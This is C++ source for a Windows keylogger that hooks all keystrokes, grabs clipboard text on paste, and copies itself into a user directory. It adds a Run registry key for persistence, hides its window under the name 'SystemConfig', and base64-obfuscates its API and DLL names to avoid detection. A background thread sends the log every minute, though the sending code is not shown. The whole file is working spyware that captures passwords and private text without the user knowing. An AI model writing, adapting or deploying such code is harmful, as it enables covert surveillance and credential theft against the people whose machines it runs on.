// keylogger2011.cpp : Defines the entry point for the console application.
//

#include <Windows.h>
#include <stdio.h>
#include "LOG.h"
#include <time.h>
#include <shlwapi.h>
#include "base64.h"



#pragma comment (lib, "gdiplus.lib")
#pragma comment(lib, "shlwapi.lib")



using namespace std;


logg* LOG;

DWORD shift=0;
DWORD alt=0;
DWORD ctrl=0;

SHORT (WINAPI *p_GetKeyState)(int nVirtKey);
HHOOK (WINAPI *p_SetWindowsHookEx)(int idHook,HOOKPROC lpfn,HINSTANCE hMod,DWORD dwThreadId);
LRESULT (WINAPI *p_CallNextHookEx)(HHOOK hhk,int nCode,WPARAM wParam,LPARAM lParam);
DWORD (WINAPI *p_GetModuleFileName)(HMODULE hModule,LPTSTR lpFilename,DWORD nSize);
BOOL (WINAPI *p_CreateDirectory)(LPCTSTR lpPathName,LPSECURITY_ATTRIBUTES lpSecurityAttributes);
BOOL (WINAPI *p_CopyFile)(LPCTSTR lpExistingFileName,LPCTSTR lpNewFileName,BOOL bFailIfExists);
LONG (WINAPI *p_RegOpenKeyEx)(HKEY hKey,LPCTSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);			
LONG (WINAPI *p_RegSetValueEx)(HKEY hKey,LPCTSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData);			
HANDLE (WINAPI *p_CreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);			
			



DWORD WINAPI sendThread(PVOID pv)
{
while(1)
{
Sleep(1000*60*1);//one minute
LOG->SendLog();
}
}







char key_to_char(char key)
{
	if(key == 'V' && ctrl==1)
	{
		return -2;
	}
	

	if(key >='A' && key<= 'Z')// <A;Z>
	{
		if(alt ==0 && shift == 0)
		{
			return key-(int)('A'-'a');//tolower
		}
		if(shift == 1 && alt ==0)
		{
			return key;//no change
		}
		if(shift == 0 && alt == 1)//small polish letter
		{
			key -=(int)('A'-'a');
			if(key=='a')return 'ą';
			if(key=='e')return 'ę';
			if(key=='o')return 'ó';
			if(key=='s')return 'ś';
			if(key=='l')return 'ł';
			if(key=='z')return 'ż';
			if(key=='x')return 'ź';
			if(key=='c')return 'ć';
			if(key=='n')return 'ń';
			return key;
		}
		if(shift==1 && alt == 1)//Big polish letter
		{
			if(key=='A')return 'Ą';
			if(key=='E')return 'Ę';
			if(key=='O')return 'Ó';
			if(key=='S')return 'Ś';
			if(key=='L')return 'Ł';
			if(key=='Z')return 'Ż';
			if(key=='X')return 'Ź';
			if(key=='C')return 'Ć';
			if(key=='N')return 'Ń';
			return key;
		}
	}

	//characters
	if(key >='0' && key<= '9')//numbers
	{
		if(shift==1)//specjal chars
		{
			if(key=='0')return ')';
			if(key=='1')return '!';
			if(key=='2')return '@';
			if(key=='3')return '#';
			if(key=='4')return '$';
			if(key=='5')return '%';
			if(key=='6')return '^';
			if(key=='7')return '&';
			if(key=='8')return '*';
			if(key=='9')return '(';
		}
		else//numbers
		{
			return key;
		}
	}

	//other
	if((char)key==(char)189)
	{
		if(shift==1)return '_';
		return '-';
	}

	if((char)key==(char)187)
	{
		if(shift==1)return '+';
		return '=';
	}

	if((char)key==(char)VK_SPACE)return ' ';
	if((char)key==(char)VK_RETURN )return '\n';
	if((char)key==(char)VK_TAB)return '\t';

	if((char)key==(char)VK_OEM_1)
	{
		if(shift==1)
		{
			return ':';
		}
		return ';';
	}

	if((char)key==(char)VK_OEM_2)
	{
		if(shift==1)
		{
			return '?';
		}
		return '/';
	}

	if((char)key==(char)VK_OEM_3)
	{
		if(shift==1)
		{
			return '~';
		}
		return '`';
	}

	if((char)key==(char)VK_OEM_4)
	{
		if(shift==1)
		{
			return '{';
		}
		return '[';
	}

	if((char)key==(char)VK_OEM_5)
	{
		if(shift==1)
		{
			return '|';
		}
		return '\\';
	}
	if((char)key==(char)VK_OEM_6)
	{
		if(shift==1)
		{
			return '}';
		}
		return ']';
	}
	if((char)key==(char)VK_OEM_7)
	{
		if(shift==1)
		{
			return '\"';
		}
		return '\'';
	}


	if((char)key==(char)VK_OEM_COMMA )
	{
		if(shift==1)return '<';
		return ',';
	}

	if((char)key==(char)VK_OEM_PERIOD){
		if(shift==1)return '>';
		return '.';
	}

	if((char)key>=(char)VK_NUMPAD0 && (char)key <=(char)VK_NUMPAD9)
	{
		return key-48;
	}



	if(key==VK_BACK)//-1 for backspace
	{
		return -1;
	}

	



	return 0;//unknown char
}

void act_function_key()
{
	 if((p_GetKeyState(VK_RCONTROL) & 0x8000)==0 && (p_GetKeyState(VK_LCONTROL) & 0x8000)==0)
{
	ctrl=0;
}
else
{
	ctrl=1;
}

if((p_GetKeyState(VK_RMENU) & 0x8000)==0 && (p_GetKeyState(VK_LMENU) & 0x8000)==0)
{
	alt=0;
}
else
{
	alt=1;
}

if((p_GetKeyState(VK_RSHIFT) & 0x8000)==0 && (p_GetKeyState(VK_LSHIFT) & 0x8000)==0)
{
	shift=0;
}
else
{
	shift=1;
}
}


LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	
	if(nCode == HC_ACTION)
	{
		if(wParam== WM_KEYUP || wParam==WM_SYSKEYUP)
		{
			PKBDLLHOOKSTRUCT p = ( PKBDLLHOOKSTRUCT ) lParam;  
			act_function_key();//Get function key value
			
				char k=key_to_char(p->vkCode);
				if(k!=0 && k!=-1 && k!= -2)//normal char
				{
					LOG->AppendChar(k);

				}
				if(k==-1)//backspace
				{
					LOG->AppendString("[BS]");
				}

				if(k==-2)//Clipboard
				{
					OpenClipboard(0);
					if(IsClipboardFormatAvailable(CF_TEXT)==true)
					{
						LOG->AppendString("\n[Clipboard]\n");
						LOG->AppendString((char*)GetClipboardData(CF_TEXT));
						LOG->AppendString("\n[/Clipboard]\n");
					}
					CloseClipboard();

				}
			}

	}
	else
	{
		return p_CallNextHookEx( NULL, nCode, wParam, lParam );
	}


	return 0;
}

HHOOK k_hook;


LRESULT CALLBACK DlgProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
 switch(msg)
 {
  case WM_CREATE:
	  {



k_hook=p_SetWindowsHookEx(WH_KEYBOARD_LL,KeyboardProc,GetModuleHandle(0), 0);


//autorun
string f_path=LOG->GetPath();//keylogger dir
string f_name=f_path;
	f_name+=base64_decode("XGtleWxvZ2dlci5leGU=");//file name - keylogger.exe
	char my_name[260];
	p_GetModuleFileName(GetModuleHandle(0),my_name,260);//name of running process
	string f_my=my_name;
	if(f_my!=f_name)
	{
		
		p_CreateDirectory(f_path.c_str(),NULL);
		p_CopyFile(f_my.c_str(),f_name.c_str(),FALSE);
	}

	HKEY key;
	p_RegOpenKeyEx(HKEY_CURRENT_USER,base64_decode("U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVu").c_str(),NULL,KEY_ALL_ACCESS,&key);
	p_RegSetValueEx (key, base64_decode("a2V5bG9nZ2Vy").c_str(), 0, REG_SZ, (LPBYTE)f_name.c_str(), f_name.length()+1);//add to autostars

	p_CreateThread(0,0,sendThread,(PVOID)0,0,0);

	 
	  
	  }
  break;
  
  default:
   return DefWindowProc(hwnd, msg, wParam, lParam);
  }
 return 0;
}


int cw()
{
	LPSTR ClassName = "SystemConfig";

WNDCLASSEX wc;

wc.cbSize = sizeof(WNDCLASSEX);
wc.style = 0;
wc.lpfnWndProc = DlgProc;
wc.cbClsExtra = 0;
wc.cbWndExtra = 0;
wc.hInstance = GetModuleHandle(0);
wc.hIcon = 0;
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
wc.lpszMenuName = NULL;
wc.lpszClassName = ClassName;
wc.hIconSm = 0;

RegisterClassEx(&wc);

HWND hwnd = CreateWindowEx(WS_EX_CLIENTEDGE, ClassName, "", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 5, 5, NULL, NULL, GetModuleHandle(0), NULL);
ShowWindow(hwnd, SW_HIDE);


MSG com;
while(GetMessage(&com, NULL, 0, 0))
{
 TranslateMessage(&com);
 DispatchMessage(&com);
}
return com.wParam;
}




int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPTSTR    lpCmdLine,
                     int       nCmdShow)
{
string user32_dll=base64_decode("dXNlcjMyLmRsbA==");
string kernel32_dll=base64_decode("a2VybmVsMzIuZGxs");
string advapi32_dll=base64_decode("YWR2YXBpMzIuZGxs");

p_GetKeyState=(SHORT (__stdcall *)(int))GetProcAddress(LoadLibrary(user32_dll.c_str()),base64_decode("R2V0S2V5U3RhdGU=").c_str());
p_SetWindowsHookEx=(HHOOK (__stdcall *)(int,HOOKPROC,HINSTANCE,DWORD))GetProcAddress(LoadLibrary(user32_dll.c_str()),base64_decode("U2V0V2luZG93c0hvb2tFeEE=").c_str());
p_CallNextHookEx=(LRESULT (__stdcall *)(HHOOK,int,WPARAM,LPARAM))GetProcAddress(LoadLibrary(user32_dll.c_str()),base64_decode("Q2FsbE5leHRIb29rRXg=").c_str());
p_GetModuleFileName=(DWORD (__stdcall *)(HMODULE,LPTSTR,DWORD))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("R2V0TW9kdWxlRmlsZU5hbWVB").c_str());
p_CreateDirectory=(BOOL (__stdcall *)(LPCTSTR,LPSECURITY_ATTRIBUTES))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("Q3JlYXRlRGlyZWN0b3J5QQ==").c_str());
p_CopyFile=(BOOL (__stdcall *)(LPCTSTR,LPCTSTR,BOOL))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("Q29weUZpbGVB").c_str());
p_RegOpenKeyEx=(LONG (__stdcall *)(HKEY,LPCTSTR,DWORD,REGSAM,PHKEY))GetProcAddress(LoadLibrary(advapi32_dll.c_str()),base64_decode("UmVnT3BlbktleUV4QQ==").c_str());		
p_RegSetValueEx=(LONG (__stdcall *)(HKEY,LPCTSTR,DWORD,DWORD,const BYTE *,DWORD))GetProcAddress(LoadLibrary(advapi32_dll.c_str()),base64_decode("UmVnU2V0VmFsdWVFeEE=").c_str());
p_CreateThread=(HANDLE (__stdcall *)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD))GetProcAddress(LoadLibrary(kernel32_dll.c_str()),base64_decode("Q3JlYXRlVGhyZWFk").c_str());	



LOG=new logg();

cw();
return 0;
}
	
		